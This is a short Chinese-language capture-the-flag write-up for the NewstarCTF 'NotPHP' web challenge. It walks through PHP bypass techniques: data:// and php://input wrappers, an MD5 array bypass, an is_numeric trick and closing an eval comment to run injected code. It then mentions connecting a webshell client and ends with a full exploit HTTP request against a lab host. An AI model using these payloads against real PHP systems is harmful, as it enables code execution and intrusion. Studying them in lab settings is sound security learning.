以下是web - not php
所有视频在https://www.bilibili.com/video/BV1F24y1R7rN/
NewstarCTF WEB NOTPHP WP
php伪协议
file_get_contents()
函数
使用php://input伪协议绕过 ① 将要GET的参数?xxx=php://input ② 用post方法传入想要file_get_contents()函数返回的值 用data://伪协议绕过 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码 或者将url改为:?xxx=data:text/plain,(url编码的内容)
==判断值是否相等,比如 ‘1’ == 1是相等的。
= 赋值,比如
= 全等,比较类型和值,比如 1= 1是相等的,这样是不等的 ‘1’ === 1。
/?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=
md5强类型比较绕过
(md5($_GET['key1']) === md5($_GET['key2'])
$_GET['key1'] !== $_GET['key2'])
//&key1[]&key2[]=s155964671a
法1:如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的
法2:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
数字比较
!is_numeric($_POST['num']) && intval($_POST['num']) == 2077
!is_numeric(不是数字)
可以用%0a(换行符)绕过
eval+#绕过
eval()函数
#很烦需要闭合绕过
;?>
然后蚁剑连接,拿到flag
POST /?data=data://text/plain;base64,V2VsY29tZSB0byBDVEY=&key1[]&key2[]=s155964671a&cmd=;?> HTTP/1.1Host: 745d705e-7e34-4151-aaea-29b967d97d69.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 11num=2077a
-------------------完-------------------